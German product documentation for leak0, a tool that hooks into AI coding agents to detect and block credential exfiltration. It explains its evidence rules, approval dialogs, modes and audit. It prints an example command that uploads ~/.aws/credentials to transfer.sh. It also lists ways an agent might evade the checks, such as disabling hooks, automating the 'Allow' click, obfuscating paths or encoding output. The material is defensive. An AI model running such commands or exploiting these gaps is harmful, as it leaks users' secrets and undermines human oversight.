Dieses Thema mit einer KI besprechen

Sie bekommen eine Antwort aus der Dokumentation und die Seite, auf der sie steht.

leak0

leak0: Schutz vor Credential-Exfiltration

leak0 verhindert, dass Ihre KI-Agenten Secrets wie API-Keys, Tokens oder Zugangsdateien nach außen geben (Exfiltration). Es prüft Ihre Eingaben, die Tool-Aufrufe der Agenten und deren Ausgaben direkt auf Ihrem Gerät. Geblockt wird nur, was leak0 beweisen kann.

Lesezeit ~10 Min · leak0

Begriffe

BegriffBedeutung
HookEin Einstiegspunkt, den der Agent anbietet: Vor oder nach einem Schritt ruft der Agent leak0 auf und wartet auf die Antwort. leak0 arbeitet nur über diese Hooks.
Tool-AufrufEine Aktion des Agenten, etwa ein Shell-Befehl, ein Dateizugriff, ein Web-Abruf oder ein MCP-Aufruf.
Blockleak0 stoppt den Tool-Aufruf, bevor er läuft. Nur mit Beweis.
RückfrageDer Agent hält an und fragt Sie, ob der Aufruf laufen soll.
HinweisDer Aufruf läuft, und leak0 gibt dem Agenten eine Textmeldung zum Treffer zurück.
Schwärzenleak0 ersetzt einen Secret-Wert in einer Tool-Ausgabe durch einen Platzhalter, bevor das Modell ihn sieht.
Kurz-HashEin kurzer Fingerabdruck eines Werts. Er kennzeichnet einen Treffer in Meldung und Audit, ohne den Wert zu verraten.
PlatzhalterEin erkennbarer Beispielwert statt eines echten Secrets, etwa your-api-key-here, <token> oder ${API_KEY}.
PoisonZero-DialogEin Fenster von PoisonZero im Vordergrund Ihres Desktops. Es fragt, ob ein Commit mit einer Secret-Datei laufen darf, wenn der Agent selbst nicht nachfragen kann. Vorausgewählt ist Blockieren.
SystemanmeldungDas Anmeldefenster Ihres Betriebssystems, etwa mit Touch ID, PIN oder Passwort. Es erscheint nur, wenn Sie Zulassen wählen. Ein Agent kann diese Anmeldung nicht selbst geben.

Prüfumfang

leak0 prüft vier Wege, auf denen ein Secret Ihr Gerät verlassen oder an eine falsche Stelle geraten kann.

WegBeispieleWann geprüft
1 Commit und Veröffentlichengit add, git push, npm publish u. a.Vor dem Aufruf (Shell-Hook)
2 Netz und Tools an Drittecurl, scp, Web-Abrufe, MCP-AufrufeVor dem Aufruf (Shell-, Web- und MCP-Hook)
3 Secret ins Modellcat ~/.aws/credentials, env, ein Token in Ihrer EingabeVor dem Aufruf (Eingabe- und Lese-Hook) und in der Ausgabe danach (Ausgabe-Hook)
4 Secret in falsche DateienEin Token fest im Code, in einer CI-Datei, einer README oder einer Memory-DateiVor dem Schreiben (Schreib-Hook)
Missbrauch ohne Abfluss, etwa eine Credential-Datei löschen, prüft exec0.

Wann leak0 blockt

Ein Block braucht einen von fünf Beweisen, B1 bis B5. Fehlt der Beweis, blockt leak0 nicht, sondern fragt nach, schwärzt oder gibt einen Hinweis.

BeweisWann er erfüllt istBeispiel
B1 Bekannte Credential-DateiDer Aufruf betrifft eine bekannte Zugangsdatei, und ihr Inhalt bestätigt den Typ. leak0 folgt dazu Symlinks und normalisiert Windows-Pfade.~/.aws/credentials, eine Service-Account-JSON, ein privater SSH-Schlüssel
B2 Token mit PrüfsummeDer Token hat ein bekanntes Präfix und eine gültige Prüfsumme. Das gilt nur für Token-Arten, die eine Prüfsumme tragen.GitHub ghp_…, npm_…, GitLab glpat-… u. a.
B3 Bekannter Secret-WertEin Wert, den leak0 in derselben Sitzung schon als Secret erkannt hat, steht wörtlich in einem ausgehenden Aufruf.Der Inhalt von ~/.aws/credentials im Body eines curl-Aufrufs
B4 Secret an DritteDas Secret steht in den gesendeten Daten (Body, Upload, Gist, DNS-Name), und das Ziel gehört nachweislich nicht Ihnen: ein Paste-, Ablage-, Request-Sammel- oder Tunnel-Dienst, eine öffentliche IP-Adresse oder eine öffentliche Veröffentlichung.curl -F f=@~/.aws/credentials https://transfer.sh
B5 leak0 abschaltenDer Agent versucht, leak0 abzuschalten, oder entfernt oder ändert die PoisonZero-Einträge in seinen Hook-Einstellungen.poisonzero leak0 off, vom Agenten ausgeführt

Was eine Meldung enthält

Bei jedem Block und jeder Rückfrage erhält der Agent eine Meldung. Den Secret-Wert nennt sie nie. Sie enthält:

  • leak0 als Absender und den Beweis (B1 bis B5)
  • die Regelklasse mit dem Präfix leak0:, etwa leak0:checksum_token_commit
  • die Art des Beweises: Pfad aufgelöst, Struktur, Prüfsumme oder Hash-Treffer
  • den Kurz-Hash des Werts
  • den Weg, leak0 abzuschalten

Wann leak0 nicht blockt

leak0 blockt nur, wenn ein Abfluss bewiesen ist. In diesen Fällen fehlt der Beweis, deshalb gibt es dort nie einen Block.

SituationWas leak0 tut
Ein Token geht an seine eigene Anmeldestelle, etwa im Authorization-Header oder als user:token@hostKein Block; je nach Fall Rückfrage oder Hinweis
Kopie auf Ihre eigenen Server (scp, rsync), S3-kompatibler Speicher, selbst betriebenes GitLab oder VaultKein Block; bei einer Credential-Datei eine Rückfrage
.env-Dateien, Shell-Startdateien wie ~/.zshrc, PEM-Dateien im RepositoryKein Block; Rückfrage, Schwärzen oder Hinweis
Eine Secret-Datei mit echten Werten in einem Testordner, etwa tests/.env oder fixtures/credentialsRückfrage statt Block
Platzhalter und Beispielwerte in Testordnern und Vorlagen, etwa .env.exampleLäuft ohne Eingriff
Ein Token mit Prüfsumme in einem Doku-Ordner, etwa docs/ oder examples/Rückfrage statt Block

Testordner sind Ordner im Repository mit genau einem dieser Namen: test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. Dazu zählen Testdateien wie *_test.*, *.spec.* und *.test.* sowie Vorlagen mit der Endung .example, .sample oder .template.

Maßgeblich ist der Pfad ab der Wurzel des Repositorys. Der Ordner, in dem das Repository liegt, zählt nicht: Ein Projekt unter ~/TestApp prüft leak0 wie jedes andere.

Doku-Ordner (docs, doc, examples, example, samples, sample, spec) mildern nur Treffer von Tokens. Secret-Dateien prüft leak0 dort wie überall: docs/.env mit echten Werten führt zur Rückfrage, eine echte Zugangsdatei zum Block.

Neue Secret-Dateien in Git

Nimmt ein Git-Befehl eine neue Secret-Datei auf, etwa eine .env, eine Credential-Datei oder eine Schlüsseldatei, prüft leak0 ihren Inhalt. Die Meldung nennt den Dateinamen, nie den Wert.

SituationWas leak0 tut
git add . oder git add -A nimmt eine Secret-Datei mit echten Werten aufRückfrage mit dem Dateinamen
git commit -a oder git commit mit Pfaden enthält eine solche DateiRückfrage mit dem Dateinamen
git push, auch mit --tags oder als erster Push, sendet eine solche DateiRückfrage mit dem Dateinamen
Die Datei ist eine bewiesene Zugangsdatei (B1), etwa eine credentials-Datei von AWSBlock
.env.example oder eine Datei nur mit PlatzhalternLäuft ohne Eingriff
Die Prüfung wird in der verfügbaren Zeit nicht fertigRückfrage, wo der Agent selbst nachfragt, sonst Block mit der Bitte, es erneut zu versuchen. Der Aufruf läuft nie ungeprüft durch.

Wer die Rückfrage stellt, hängt vom Agenten ab:

AgentRückfrage bei einer Secret-Datei in Git
Claude Code, Cursor und Antigravity CLIDer eigene Bestätigungsdialog des Agenten
Codex und Gemini CLIDer PoisonZero-Dialog, Zulassen mit Systemanmeldung

Freigabe im PoisonZero-Dialog

Codex und Gemini CLI können aus dem Hook nicht selbst nachfragen. Bei einer Secret-Datei in Git fragt deshalb PoisonZero, in zwei Schritten. Beide Fenster tragen den Titel „poison0 agent: leak0 safeguard“.

SchrittWas passiert
1. PoisonZero-DialogErscheint im Vordergrund und nennt Produkt, Agent, Datei und Grund, nie den Wert. Vorausgewählt ist Blockieren: ein Klick, ohne Passwort.
2. SystemanmeldungNur wenn Sie Zulassen wählen, erscheint sofort im Vordergrund das Anmeldefenster Ihres Betriebssystems. Sie melden sich mit Ihrem eigenen Konto an.
SituationWirkung
Sie wählen Zulassen und melden sich anDer Aufruf läuft, einmal
Sie wählen BlockierenBlock. Der Agent erhält den Text, dass Sie abgelehnt haben, und die Bitte, Sie zu fragen.
Sie brechen die Anmeldung ab, oder das Passwort ist falschBlock
Keine Antwort innerhalb von 90 SekundenBlock
Der Agent versucht es nach einer Ablehnung oder ohne Antwort erneut60 Sekunden lang kein neuer Dialog für dieselbe Datei. Block mit einem klaren Text an den Agenten.
Mehr als drei Dialoge in einer MinuteBlock ohne Dialog. Der Agent erhält den Hinweis auf zu viele Anfragen.
Kein Desktop: SSH-Sitzung, CI, niemand angemeldet oder der PoisonZero-Dienst ist nicht erreichbarBlock. Die Meldung nennt poisonzero leak0 allow <datei> für Ihr eigenes Terminal.

Warum eine Systemanmeldung? Ein Agent kann einen Klick auf Zulassen selbst auslösen, etwa über UI-Automatisierung. Die Anmeldung Ihres Betriebssystems kann er nicht geben. Ein Klick allein lässt deshalb nichts durch.

BetriebssystemAnmeldefenster
macOSDas Systemfenster von macOS mit Touch ID oder Passwort
WindowsDas Fenster „Windows-Sicherheit“ mit dem Text von PoisonZero. Ist eine PIN oder ein Fingerabdruck eingerichtet, bietet Windows sie dort an.
LinuxDie Systemanmeldung von polkit. PoisonZero sieht das Passwort nie.

Es zählt die Anmeldung des Kontos, unter dem der Agent läuft; Adminrechte brauchen Sie nicht. Claude Code fragt weiter in seinem eigenen Bestätigungsdialog.

Freigabe im eigenen Terminal

Ohne Desktop, etwa per SSH, blockt leak0 und nennt den Befehl poisonzero leak0 allow <datei>. Führen Sie ihn in Ihrem eigenen Terminal aus, nicht über den Agenten. Danach lassen Sie den Agenten den Commit oder Push wiederholen.

BefehlWirkung
poisonzero leak0 allow <datei>Gibt genau den aktuellen Inhalt der Datei frei: 10 Minuten lang für beliebig viele Commits und für einen Push, den ersten mit der Datei. Mehrere Dateien sind möglich.
  • Bestätigung: Ihr eigenes Passwort, in Ihrem eigenen Terminal. Adminrechte brauchen Sie nicht. Unter macOS und Linux geht es auch mit sudo.
  • Nur dieser Inhalt: Ändert sich die Datei danach, gilt die Freigabe nicht mehr.
  • Fehlversuche: Zwischen zwei Versuchen liegen 3 Sekunden. Nach 5 Fehlversuchen ist die Freigabe 15 Minuten gesperrt.
  • Dienst: Der PoisonZero-Dienst prüft die Anmeldung, stellt die Freigabe aus und speichert sie. Er muss laufen.
  • Nicht durch den Agenten: Führt der Agent den Befehl selbst aus, blockt leak0 ihn (B5).
  • Die Meldung an den Agenten nennt den Befehl auch nach einer Ablehnung im Dialog.

Freigabe durch Nutzer im Profil

In Cloud-Profilen legt der Admin fest, ob Personen am Gerät Commits mit Secret-Dateien selbst freigeben dürfen. Konsole: Bereich leak0, Schalter Nutzer dürfen Commits mit Secret-Dateien selbst freigeben. Standard: an.

SchalterWas leak0 tut
AnRückfrage im Dialog des Agenten oder im PoisonZero-Dialog. Freigabe mit poisonzero leak0 allow möglich.
AusBlock bei jedem Agenten, auch bei Claude Code. Die Meldung bittet, sich an den Admin zu wenden. poisonzero leak0 allow lehnt die Freigabe ab, bestehende Freigaben zählen nicht.

Private Geräte haben diesen Schalter nicht. Dort ist die Freigabe immer möglich.

Desktop-Benachrichtigung bei Block

Blockt leak0 einen Aufruf, zeigt PoisonZero auf Wunsch eine Desktop-Benachrichtigung: Agent, Tool und was geblockt wurde, etwa „Token im Commit“. Ein Secret-Wert, ein Pfad oder ein Befehl steht nie darin.

PunktVerhalten
EinschaltenKonsole: Profil, Einstellung Hinweis bei Abwehr. Private Geräte: sudo poisonzero notify on; die lokale Einstellung hat Vorrang vor dem Profil. Standard: aus.
WannBei einem Block. Rückfragen, Schwärzen und Hinweise lösen keine Benachrichtigung aus.
Für wenFür die Person, die am Desktop angemeldet ist und deren Agent geblockt wurde
HäufigkeitDerselbe Block höchstens einmal je Minute, mindestens 5 Sekunden zwischen zwei Benachrichtigungen

Unterstützte Agenten

leak0 unterstützt fünf Agenten. Was es je Agent tut, hängt von den Hooks ab, die der Agent anbietet.

AgentBetriebssysteme
Claude CodemacOS, Linux und Windows
Codex (CLI und IDE)macOS, Linux und Windows
CursormacOS und Linux
Gemini CLImacOS, Linux und Windows
Antigravity CLImacOS, Linux und Windows
AgentBlockierenRückfrageSecrets in Tool-Ausgaben schwärzenEingaben prüfen
Claude Codejaja, Dialogja, nur der Wertja
Codex (CLI und IDE)jaPoisonZero-Dialog bei Secret-Dateien in Git, sonst Hinweisja, nur der Wertja
CursorjaDialog bei Shell- und MCP-Aufrufenbei MCP-Ausgabenja
Gemini CLIjaPoisonZero-Dialog bei Secret-Dateien in Git, sonst Hinweisja, nur der Wertja
Antigravity CLIjaja, Dialognicht verfügbarnicht verfügbar

Was die Spalten bedeuten

  • Blockieren: leak0 stoppt den Tool-Aufruf, bevor er läuft, wenn einer der Beweise B1 bis B5 vorliegt. Das gilt bei allen fünf Agenten.
  • Rückfrage: Ist ein Secret wahrscheinlich, aber nicht bewiesen, etwa bei git add .env, wird vor der Ausführung gefragt. Claude Code und Antigravity CLI zeigen dafür ihren Bestätigungsdialog, Cursor bei Shell- und MCP-Aufrufen. Codex und Gemini CLI: bei Secret-Dateien in Git der PoisonZero-Dialog, siehe Freigabe im PoisonZero-Dialog.
  • Hinweis (Spalte Rückfrage): Für andere Rückfragen bieten Codex und Gemini CLI aus dem Hook keinen Dialog an. Dort läuft der Aufruf, und leak0 gibt dem Agenten eine Textmeldung zurück, die den Treffer nennt.
  • Secrets in Tool-Ausgaben schwärzen: Erscheint ein Secret in der Ausgabe eines Tools, etwa bei cat .env, ersetzt leak0 nur den Wert, bevor das Modell ihn sieht: OPENAI_API_KEY=[leak0:openai:a1b2]. Lässt sich der Wert nicht einzeln finden, hält leak0 die ganze Ausgabe zurück. Cursor: bei MCP-Ausgaben. Antigravity CLI: nicht verfügbar, weil der Agent nur einen Hook vor dem Tool-Aufruf anbietet. Shell- und Dateiausgaben in Cursor: ein Hinweis an den Agenten, im Audit als leak0_warned.
  • Eingaben prüfen: leak0 prüft Ihre eigene Eingabe, etwa einen eingefügten Token, bevor sie an das Modell geht. Antigravity CLI: nicht verfügbar. Cursor CLI im Print-Modus (-p) ruft den Eingabe-Hook nicht auf.

Ist eine Tool-Ausgabe zu groß, um sie in der verfügbaren Zeit zu prüfen, hält leak0 sie im Modus An zurück. Der Agent erhält den Hinweis, den Befehl enger zu fassen, etwa mit head oder grep.

Treffer, die weder einen Block noch eine Rückfrage rechtfertigen, beantwortet leak0 mit einem Hinweis: bei Codex, Cursor und Gemini CLI immer, bei Claude Code, solange exec0 aus ist. Antigravity CLI hat kein Feld für Hinweise; dort läuft der Aufruf ohne Meldung.

Schwärzen ändert, was das Modell und fremde Hosts sehen. Transkripte und Telemetrie des Agenten können den Wert weiter im Klartext enthalten.

Anmerkungen

  • Codex: Die eingebaute Websuche läuft beim Anbieter ohne Hook und wird nicht geprüft.
  • Cloud-Ausführungen wie Codex Cloud oder der Copilot Cloud Agent laufen nicht auf Ihrem Gerät; leak0 sieht sie nicht.
  • poisonzero leak0 status zeigt jeden Agenten auf dem Gerät als geschützt, teilweise geschützt oder nicht geschützt.

Agenten, die leak0 (noch) nicht unterstützt

AgentGrund
GitHub Copilot CLI, VS Code Agent, Windsurf, Cline (macOS und Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLIHooks vorhanden, in dieser Version nicht unterstützt
Xcode-Coding-Assistent (Claude Code, Codex und Gemini CLI in Xcode)Liest seine eigene Konfiguration aus ~/Library/Developer/Xcode/CodingAssistant/; in dieser Version nicht geschützt
AiderKein Hook-System; Auto-Commits laufen standardmäßig mit --no-verify
ZedNur feste Regeln je Tool, kein ausführbarer Hook
Cline unter WindowsKeine Hooks unter Windows
Cursor unter WindowsIn dieser Version unter macOS und Linux unterstützt
Amazon Q Developer CLIProdukt eingestellt
Warp, Roo Code, Continue (IDE-Erweiterung), Trae, Void, Plandex, Qodo, GitHub Copilot in Visual Studio, JetBrains, Xcode und Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, Snowflake VS Code Extension, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChatKein nutzbarer Hook bekannt

Abgrenzung

Diese Fälle deckt leak0 nicht oder nur teilweise ab. Die rechte Spalte nennt, was stattdessen greift.

Nicht abgedecktGrundStattdessen
Memory Poisoning, auch wenn die vergiftete Anweisung lautet, Secrets zu verschickenEigener Schutzpoison0, siehe Was der poison0-Agent macht
Missbrauch ohne Abfluss: Credential-Datei überschreiben oder löschen, Rechte lockern, Tokens mit zu weitem Umfang erzeugenKein Secret verlässt den Rechnerexec0
Prompt Injection in Inhalten, die der Agent liestAnderes Risikoinject0
Verschleierte Pfade, etwa über Wildcards, Variablen, $(...) oder UnterprozesseDer Pfad steht nicht beweisbar im BefehlKein Block; die Ausgabe wird geschwärzt, wo der Agent es erlaubt
Umkodierte oder zerlegte Ausgabe, etwa als Hex oder in StückenEine Prüfsumme trifft nur den ganzen WertDie ganze Ausgabe wird zurückgehalten, wenn eine Credential-Datei die Quelle eines umformenden Befehls ist
Skripte, Makefiles, Git-Hooks oder CI, die später startenSchreiben und Starten sind getrennte AufrufeBlock nur, wenn das geschriebene Skript in derselben Pipeline eine Credential-Datei an ein nachweislich fremdes Ziel sendet; sonst ein Hinweis
Secrets ohne bekanntes Format, etwa PasswörterNicht beweisbarSchwärzen nach Feldname in bekannten Credential-Dateien; nie ein Block
Widerrufene oder Test-Tokens mit gültiger PrüfsummeOffline nicht von echten Tokens zu unterscheidenUnter Test-, Fixture- und Doku-Pfaden eine Rückfrage statt eines Blocks
Online-Prüfung, ob ein Token noch giltleak0 prüft nur offlineNicht Teil von leak0
Wege ohne Hook: Websuche von Codex, !-Befehle in Claude Code, Telemetrie, Eingaben in einem Terminal neben dem AgentenKein Hook sieht sieNicht abgedeckt
Klartext auf der Platte: Transkripte und Telemetrie der Agentenleak0 ändert, was das Modell und fremde Hosts sehen, nicht was der Agent speichertNicht abgedeckt
Eine eigene Sandbox oder ein eigener Starter für Agentenleak0 arbeitet nur über die Hooks der AgentenNicht Teil von leak0
leak0 deckt die bekannten direkten Wege ab und blockt nur mit Beweis. Verschleierte Wege erkennt es nicht vollständig.

Betriebsmodi

ModusIn der KonsoleWirkung
enforceAnBlockt mit Beweis, fragt nach, schwärzt und gibt Hinweise.
observeBeobachtenProtokolliert jeden Treffer mit Beweis. Blockt nie, fragt nie nach, schwärzt nicht.
offAusKeine Prüfung. Ist auch exec0 aus, endet der Hook sofort.

leak0 ist nie still aktiv. Es ist nur nach einer Entscheidung an: im Installer, mit PZ_SETUP_LEAK0, mit sudo poisonzero leak0 enforce oder im Konsolenprofil. Ohne eine davon ist der Modus off.

  • Reihenfolge: lokale Einstellung, dann Profil, dann off. Auf Cloud-Geräten zählt die lokale Einstellung nicht.
  • leak0 ist unabhängig von exec0: leak0 an und exec0 aus ist eine gültige Einstellung. Beide laufen im selben Hook-Eintrag; leak0 prüft zuerst.
  • leak0 ist in Solo Dev, Pro und Enterprise enthalten.

Konfiguration im Cloud-Modus

  1. In der Konsole Settings → Profile öffnen.
  2. Enterprise: beim Profil auf Bearbeiten klicken. Solo Dev und Pro: das Profil steht direkt in diesem Abschnitt.
  3. Im Bereich leak0 An, Beobachten oder Aus wählen. Bestehende Profile stehen zunächst auf Aus; bei einem neuen Profil ist An vorausgewählt.
  4. Optional eigene Secret-Dateien und Ausnahmen in die beiden Listen eintragen und festlegen, ob Nutzer Commits mit Secret-Dateien selbst freigeben dürfen.
  5. Speichern. Cloud-Geräte übernehmen die Einstellung beim nächsten Abgleich mit der Konsole und ergänzen fehlende Hook-Einträge; Codex-Nutzer bestätigen neue Hooks in Codex mit /hooks.
ProfilfeldWerteGrenze
leak0.modeenforce, observe, offoff, bis gesetzt
leak0.secretFilesListe aus { path, keys }: path ist ein Glob, ~ und %USERPROFILE% sind erlaubt; keys nennt optional die Felder mit dem Secrethöchstens 200 Einträge
leak0.exclusionsListe von Globs, die leak0 nicht als Secret-Quelle behandelthöchstens 200 Einträge
leak0.userMayApprovetrue, false: Personen am Gerät dürfen Commits mit Secret-Dateien freigebentrue, bis gesetzt

Auf Cloud-Geräten verweigern die ändernden poisonzero leak0-Befehle außer clear die Ausführung; es gilt die Konsole. Auf privaten Profilen zeigt die Konsole statt der Einstellung einen Hinweis, dass sie nur für Cloud-Geräte gilt.

Konfiguration im privaten Modus

Private Geräte werden nicht über die Konsole gesteuert. Alles wird mit der CLI am Gerät eingestellt.

BefehlWirkung
poisonzero leak0 statusZeigt Modus, Quelle (lokal, Profil, Standard), wie viele Secret-Dateien und Ausnahmen Ihre Listen enthalten (poisonzero leak0 file list und exclude list zeigen sie) und den Schutz je Agent. Ist leak0 aus, nennt es den Befehl zum Einschalten.
poisonzero leak0 allow <datei>Gibt eine Secret-Datei mit ihrem aktuellen Inhalt für Commits (10 Minuten) und einen Push frei, mit Ihrer Systemanmeldung; siehe Freigabe im eigenen Terminal
sudo poisonzero leak0 enforceSchaltet leak0 an
sudo poisonzero leak0 observeNur beobachten
sudo poisonzero leak0 offSchaltet leak0 aus
sudo poisonzero leak0 clearEntfernt die lokale Einstellung; danach gilt wieder das Profil oder off
sudo poisonzero leak0 file add <glob> --keys k1,k2Fügt eine eigene Secret-Datei hinzu; --keys ist optional
sudo poisonzero leak0 file remove <glob>Entfernt sie wieder
poisonzero leak0 file listListet Ihre Secret-Dateien
sudo poisonzero leak0 exclude add <glob>Fügt eine Ausnahme hinzu
sudo poisonzero leak0 exclude remove <glob>Entfernt sie wieder
poisonzero leak0 exclude listListet die Ausnahmen
Unter Windows die Befehle ohne sudo in einem als Administrator geöffneten Terminal ausführen.

Die Einstellungen liegen im Datenverzeichnis: /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), siehe Den poison0-Agenten installieren.

DateiInhaltGeschrieben von
leak0modeLokaler Schalter: enforce, observe oder offpoisonzero leak0 enforce, observe, off
leak0.local.jsonIhre Listen: {"secretFiles": [...], "exclusions": [...]}poisonzero leak0 file und exclude
leak0.profileKopie der leak0-Einstellung aus dem KonsolenprofilDer poison0-Agent, nur auf Cloud-Geräten

Installation

Im Terminal fragt der Installer, ob leak0 eingeschaltet werden soll: An, Beobachten oder Aus, mit An vorausgewählt. Das gilt auch für die Installation mit curl -fsSL https://poisonzero.com/install.sh | sudo sh.

Unbeaufsichtigte Installationen (MDM, Fleet-Werkzeuge, Skripte) lesen PZ_SETUP_LEAK0; ohne die Variable bleibt leak0 aus. Auf Cloud-Geräten entscheidet das Konsolenprofil.

VariableWerteOhne die Variable
PZ_SETUP_LEAK0enforce, observe, offInteraktiv: die Frage oben. Unbeaufsichtigt: off
bashInstallieren mit leak0 an
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
powershellInstallieren mit leak0 an
$env:PZ_SETUP_LEAK0='enforce'
irm https://poisonzero.com/install.ps1 | iex

Hook-Einträge

SituationWas passiert
Den poison0-Agenten installierenDer Installer trägt die PoisonZero-Hooks bei jedem unterstützten Agenten ein, den er findet: unter macOS und Linux bei Claude Code, Codex, Cursor, Gemini CLI und Antigravity CLI, unter Windows bei Claude Code, Codex, Gemini CLI und Antigravity CLI. Codex fragt einmal, ob Sie dem neuen Hook vertrauen: bestätigen Sie ihn in Codex mit /hooks.
leak0 oder exec0 ausschaltenDie Hook-Einträge bleiben. Jedes Produkt wird zur Laufzeit an- oder ausgeschaltet, unabhängig vom anderen.
Den poison0-Agenten deinstallierenNur das entfernt die Hook-Einträge.
Ein Admin schaltet leak0 in einem Cloud-Profil einDas Gerät ergänzt fehlende Hook-Einträge beim nächsten Abruf der Konfiguration. Codex fragt, ob Sie neuen Hooks vertrauen: bestätigen Sie sie in Codex mit /hooks. poisonzero leak0 status zeigt, wenn eine Bestätigung aussteht.
Claude Code: Der Hook läuft nicht (Binary fehlt, Absturz, Zeitüberschreitung)Läuft leak0 oder exec0 im Modus enforce (leak0: An, exec0: Schutz), blockiert Claude Code den Tool-Aufruf. Sind beide auf Beobachten oder Aus, setzt Claude Code den Aufruf fort.
Codex, Cursor, Gemini CLI, Antigravity CLI: Der Hook läuft nichtDer Agent setzt den Aufruf fort (fail-open). Bei Cursor ist failClosed nicht aktiviert.

Bestehende Geräte: Ein Update schaltet leak0 nicht ein. Es bleibt aus, bis Sie sudo poisonzero leak0 enforce ausführen oder es im Konsolenprofil einschalten.

Audit

Jede Entscheidung von leak0 wird als Audit-Ereignis geschrieben.

AktionBedeutungLokales AuditKonsolen-Audit (Cloud-Modus)
leak0_blockedAufruf mit Beweis geblocktjaja
leak0_askedRückfrage gestellt. Bei Codex und Gemini CLI mit dem Ergebnis des PoisonZero-Dialogs: zugelassen, abgelehnt, keine Antwort oder kein Dialog möglichjaja
leak0_redactedWert in einer Tool-Ausgabe geschwärztjaja
leak0_warnedGewarnt: Der Agent lässt den Eingriff nicht zu, etwa das Schwärzen einer Shell- oder Dateiausgabe in Cursor. leak0 gibt dem Agenten einen Hinweis.jaja
leak0_observedTreffer im Modus observe, kein EingriffjaNur wenn im Profil „Auch in der Konsole (Cloud-Audit)“ eingeschaltet ist; Standard: aus
leak0_grantedDatei mit poisonzero leak0 allow nach Ihrer Systemanmeldung freigegeben. Mit Benutzer, Anzahl der Dateien und Kurz-Hash je Dateijaja
leak0_grant_failedFreigabe gescheitert: Anmeldung falsch oder abgebrochenjaja
leak0_grant_lockedFreigabe ohne Anmeldung abgelehnt, weil zu viele Anmeldungen fehlgeschlagen sindjaja

Felder je Ereignis: Agent, Tool, Regelklasse, Modus und ein Kurz-Hash. Nie enthalten sind der Secret-Wert, der Pfad und der Befehl. In der Konsole tragen die Ereignisse eigene Bezeichnungen; leak0_blocked und leak0_redacted zählen als Incidents. leak0_warned zählt nicht als Incident. Ein erneuter Versuch in den 60 Sekunden nach einer Ablehnung und ein Versuch über der Dialoggrenze stehen jeweils als eigener leak0_blocked-Eintrag im Audit. War die Freigabe für genau diesen Inhalt schon durch einen Push verbraucht, nennt der Eintrag das. leak0_granted und leak0_grant_locked zählen als Incidents.

Datenschutz

DatenCloud-ModusPrivater Modus
Inhalt von Prompts, Befehlen, Dateien und AusgabenAuf dem Gerät geprüft, für die Prüfung nicht gesendetAuf dem Gerät geprüft
Secret-WerteNie im Audit oder JournalNie im Audit oder Journal
Sitzungszustand (Pfade von Kopien, Kurz-Hashes erkannter Werte)Auf dem Gerät, eine Datei je Sitzung, nur für Ihr Benutzerkonto lesbar, gelöscht am Sitzungsende, wo der Agent es meldet (Claude Code), sonst nach 24 StundenEbenso
Audit-Eintrag (Zeit, Aktion, Tool, Regelklasse, Kurz-Hash), ohne InhaltAuf dem Gerät und im Konsolen-AuditNur auf dem Gerät

Nie im Audit: Werte, Pfade, Befehle, Argumente oder Ihr Prompt. Vollständige Liste: Was der Cloud-Modus sendet.

Vergleich mit exec0 und Memory-Schutz

Memory-Schutzexec0leak0
PrüftÄnderungen an Memory- und Anweisungsdateien der AgentenJeden Tool-Aufruf auf SchadenPrompts, Tool-Aufrufe und Ausgaben auf Secret-Abfluss
Entscheidet mitMelira AI und RegelnFesten Regeln und Melira AIFesten Regeln mit Beweis, ohne Modell
LäuftAuf Ihrem GerätAuf Ihrem GerätAuf Ihrem Gerät

Weiterlesen

Schädliche Tool-Aufrufe: exec0. Was poison0 schützt: Was der poison0-Agent macht. Modus wählen: Cloud oder Private.